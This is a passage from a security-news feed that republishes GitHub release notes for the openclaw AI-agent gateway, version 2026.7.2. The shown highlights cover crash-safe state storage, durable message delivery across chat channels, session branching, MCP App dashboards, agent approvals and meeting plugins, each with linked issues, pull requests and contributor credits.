<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985171545" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114385" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/114385/hovercard" href="https://github.com/openclaw/openclaw/issues/114385">#114385</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qingminglong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qingminglong">@qingminglong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/revision-co-ltd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/revision-co-ltd">@revision-co-ltd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loulanyue/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loulanyue">@loulanyue</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</li>
<li><strong>Platform and transport reliability:</strong> respect debug-proxy response backpressure, cancel early-woken meeting audio timers, preserve Windows PATH delimiters in node status, and prevent duplicate user/system systemd Gateway ownership with actionable recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979793728" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114076" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114076/hovercard" href="https://github.com/openclaw/openclaw/pull/114076">#114076</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868708038" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/105701" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/105701/hovercard" href="https://github.com/openclaw/openclaw/issues/105701">#105701</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987116833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114526" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114526/hovercard" href="https://github.com/openclaw/openclaw/pull/114526">#114526</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4986793963" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114505/hovercard" href="https://github.com/openclaw/openclaw/pull/114505">#114505</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015142610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116162/hovercard" href="https://github.com/openclaw/openclaw/pull/116162">#116162</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5014576624" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116129" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/116129/hovercard" href="https://github.com/openclaw/openclaw/issues/116129">#116129</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qingminglong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qingminglong">@qingminglong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li><strong>Channel edge cases:</strong> settle Feishu outbound delivery, surface Signal recipient failures, and support reverse-proxy paths in Matrix homeserver URLs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963073325" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113152" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113152/hovercard" href="https://github.com/openclaw/openclaw/pull/113152">#113152</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933085420" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111960" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111960/hovercard" href="https://github.com/openclaw/openclaw/pull/111960">#111960</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933080407" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111959" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111959/hovercard" href="https://github.com/openclaw/openclaw/issues/111959">#111959</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671633830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/93516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/93516/hovercard" href="https://github.com/openclaw/openclaw/pull/93516">#93516</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4846985487" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/102885" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/102885/hovercard" href="https://github.com/openclaw/openclaw/issues/102885">#102885</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ooiuuii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ooiuuii">@ooiuuii</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Papilionidae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Papilionidae">@Papilionidae</a>.</li>
</ul>
<h3>Complete contribution record</h3>
<p>The full contribution record is available in the tag-pinned <a href="https://github.com/openclaw/openclaw/blob/v2026.7.2-beta.6/CHANGELOG.md#complete-contribution-record">CHANGELOG.md</a>.</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: openclaw 2026.7.2-beta.7]]></title>
<description><![CDATA[2026.7.2
Highlights

State safety and recovery: protect persisted data with a quarantine store that survives primary-database damage, crash-recoverable SQLite snapshots, crash-durable filesystem publication, schema-upgrade data-loss rejection, and rollback-writer snapshot recovery. (#110453, #113...]]></description>
<link>https://tsecurity.de/de/3698650/downloads/github-openclaw-202672-beta7/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698650/downloads/github-openclaw-202672-beta7/</guid>
<pubDate>Mon, 03 Aug 2026 00:12:31 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>2026.7.2</h2>
<h3>Highlights</h3>
<ul>
<li><strong>State safety and recovery:</strong> protect persisted data with a quarantine store that survives primary-database damage, crash-recoverable SQLite snapshots, crash-durable filesystem publication, schema-upgrade data-loss rejection, and rollback-writer snapshot recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916970202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110453/hovercard" href="https://github.com/openclaw/openclaw/pull/110453">#110453</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970165944" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113367" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113367/hovercard" href="https://github.com/openclaw/openclaw/pull/113367">#113367</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973270874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113453/hovercard" href="https://github.com/openclaw/openclaw/pull/113453">#113453</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973809093" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113473/hovercard" href="https://github.com/openclaw/openclaw/pull/113473">#113473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975000490" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113580" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113580/hovercard" href="https://github.com/openclaw/openclaw/pull/113580">#113580</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Durable channel delivery:</strong> keep accepted messages recoverable across gateway restarts and local crashes through the shared ingress drain and dead-letter recovery, covering Telegram, Signal, Slack, QQBot, Twitch, Synology Chat, Tlon, IRC, and Zalo User. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4899229546" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108656/hovercard" href="https://github.com/openclaw/openclaw/issues/108656">#108656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880774610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107246" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/107246/hovercard" href="https://github.com/openclaw/openclaw/issues/107246">#107246</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910355569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109911" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/109911/hovercard" href="https://github.com/openclaw/openclaw/issues/109911">#109911</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901306898" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108924" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108924/hovercard" href="https://github.com/openclaw/openclaw/pull/108924">#108924</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4881188067" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107288/hovercard" href="https://github.com/openclaw/openclaw/pull/107288">#107288</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910335366" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109907" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109907/hovercard" href="https://github.com/openclaw/openclaw/pull/109907">#109907</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910354685" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109910" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109910/hovercard" href="https://github.com/openclaw/openclaw/pull/109910">#109910</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919246226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110844" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110844/hovercard" href="https://github.com/openclaw/openclaw/pull/110844">#110844</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919302665" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110852" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110852/hovercard" href="https://github.com/openclaw/openclaw/pull/110852">#110852</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919620029" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110899" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110899/hovercard" href="https://github.com/openclaw/openclaw/pull/110899">#110899</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919681447" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110910" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110910/hovercard" href="https://github.com/openclaw/openclaw/pull/110910">#110910</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919690400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110914" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110914/hovercard" href="https://github.com/openclaw/openclaw/pull/110914">#110914</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919697683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110916" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110916/hovercard" href="https://github.com/openclaw/openclaw/pull/110916">#110916</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920462183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111029" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111029/hovercard" href="https://github.com/openclaw/openclaw/pull/111029">#111029</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edenfunf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edenfunf">@edenfunf</a>.</li>
<li><strong>Session rewind and branching:</strong> rewind or fork conversations from individual messages, switch transcript branches across web and native apps, fork upstream Codex sessions, preserve branch-safe queued sends, reject stale-pane writes, and restore prompt images after a fork. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918055909" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110660" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110660/hovercard" href="https://github.com/openclaw/openclaw/pull/110660">#110660</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919325526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110857/hovercard" href="https://github.com/openclaw/openclaw/pull/110857">#110857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919558310" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110886/hovercard" href="https://github.com/openclaw/openclaw/pull/110886">#110886</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921025593" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111149" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111149/hovercard" href="https://github.com/openclaw/openclaw/pull/111149">#111149</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935233729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112056" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112056/hovercard" href="https://github.com/openclaw/openclaw/pull/112056">#112056</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938685419" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112284" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112284/hovercard" href="https://github.com/openclaw/openclaw/pull/112284">#112284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960610101" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113073" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113073/hovercard" href="https://github.com/openclaw/openclaw/pull/113073">#113073</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978452898" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113945" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113945/hovercard" href="https://github.com/openclaw/openclaw/pull/113945">#113945</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Interactive MCP Apps and dashboards:</strong> host ticketed MCP Apps with bound tools, resources, and bounded context updates; open them from channel replies, pin them to durable dashboards, harden their shared sandbox, and let native plugins declare them directly. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909810617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/109851/hovercard" href="https://github.com/openclaw/openclaw/issues/109851">#109851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916960266" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/110451/hovercard" href="https://github.com/openclaw/openclaw/issues/110451">#110451</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965166757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113218" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113218/hovercard" href="https://github.com/openclaw/openclaw/issues/113218">#113218</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909872466" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109861/hovercard" href="https://github.com/openclaw/openclaw/pull/109861">#109861</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909498874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109807/hovercard" href="https://github.com/openclaw/openclaw/pull/109807">#109807</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917242362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110515/hovercard" href="https://github.com/openclaw/openclaw/pull/110515">#110515</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921332968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111211/hovercard" href="https://github.com/openclaw/openclaw/pull/111211">#111211</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921335023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111212" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111212/hovercard" href="https://github.com/openclaw/openclaw/pull/111212">#111212</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924200042" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111524" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111524/hovercard" href="https://github.com/openclaw/openclaw/pull/111524">#111524</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4926188669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111687" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111687/hovercard" href="https://github.com/openclaw/openclaw/pull/111687">#111687</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4927143845" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111748/hovercard" href="https://github.com/openclaw/openclaw/pull/111748">#111748</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965395536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113224" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113224/hovercard" href="https://github.com/openclaw/openclaw/pull/113224">#113224</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li><strong>Questions and approvals everywhere:</strong> let agents ask structured questions with option cards across web, channels, macOS, and native apps, while approvals gain push notifications, history, fair queuing, headless resolution, Claude tool-request relay, reviewer detail, and clearer formatted prompts. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510697389" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85954" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85954/hovercard" href="https://github.com/openclaw/openclaw/issues/85954">#85954</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897193096" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108505/hovercard" href="https://github.com/openclaw/openclaw/pull/108505">#108505</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4899607708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108709/hovercard" href="https://github.com/openclaw/openclaw/pull/108709">#108709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900199914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108776/hovercard" href="https://github.com/openclaw/openclaw/pull/108776">#108776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910436717" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109922" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109922/hovercard" href="https://github.com/openclaw/openclaw/pull/109922">#109922</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915609891" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110242/hovercard" href="https://github.com/openclaw/openclaw/pull/110242">#110242</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916500878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110372" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110372/hovercard" href="https://github.com/openclaw/openclaw/pull/110372">#110372</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917636131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110584" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110584/hovercard" href="https://github.com/openclaw/openclaw/pull/110584">#110584</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918174798" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110681" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110681/hovercard" href="https://github.com/openclaw/openclaw/pull/110681">#110681</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920250848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110989/hovercard" href="https://github.com/openclaw/openclaw/pull/110989">#110989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920592366" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111060/hovercard" href="https://github.com/openclaw/openclaw/pull/111060">#111060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4955719625" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112918" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112918/hovercard" href="https://github.com/openclaw/openclaw/pull/112918">#112918</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4959029779" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113027" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113027/hovercard" href="https://github.com/openclaw/openclaw/pull/113027">#113027</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964338276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113193" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113193/hovercard" href="https://github.com/openclaw/openclaw/pull/113193">#113193</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li><strong>Meetings and realtime Talk:</strong> join Teams, Zoom, and Google Meet calls with default-enabled meeting plugins and durable transcript collection, while realtime Talk adds OpenAI and Gemini video and requires a supported OpenAI Platform API key instead of the rejected Codex OAuth fallback. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515895461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86425" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86425/hovercard" href="https://github.com/openclaw/openclaw/issues/86425">#86425</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969755799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113353" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113353/hovercard" href="https://github.com/openclaw/openclaw/issues/113353">#113353</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4995815276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115021" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/115021/hovercard" href="https://github.com/openclaw/openclaw/issues/115021">#115021</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907701218" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109579" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109579/hovercard" href="https://github.com/openclaw/openclaw/pull/109579">#109579</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908693132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109719" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109719/hovercard" href="https://github.com/openclaw/openclaw/pull/109719">#109719</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4911117058" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109964/hovercard" href="https://github.com/openclaw/openclaw/pull/109964">#109964</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920537806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111048" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111048/hovercard" href="https://github.com/openclaw/openclaw/pull/111048">#111048</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958859941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113022/hovercard" href="https://github.com/openclaw/openclaw/pull/113022">#113022</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4959689587" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113053" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113053/hovercard" href="https://github.com/openclaw/openclaw/pull/113053">#113053</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961606646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113122" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113122/hovercard" href="https://github.com/openclaw/openclaw/pull/113122">#113122</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969758982" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113354" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113354/hovercard" href="https://github.com/openclaw/openclaw/pull/113354">#113354</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4999135139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115211/hovercard" href="https://github.com/openclaw/openclaw/pull/115211">#115211</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shushushv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shushushv">@shushushv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" 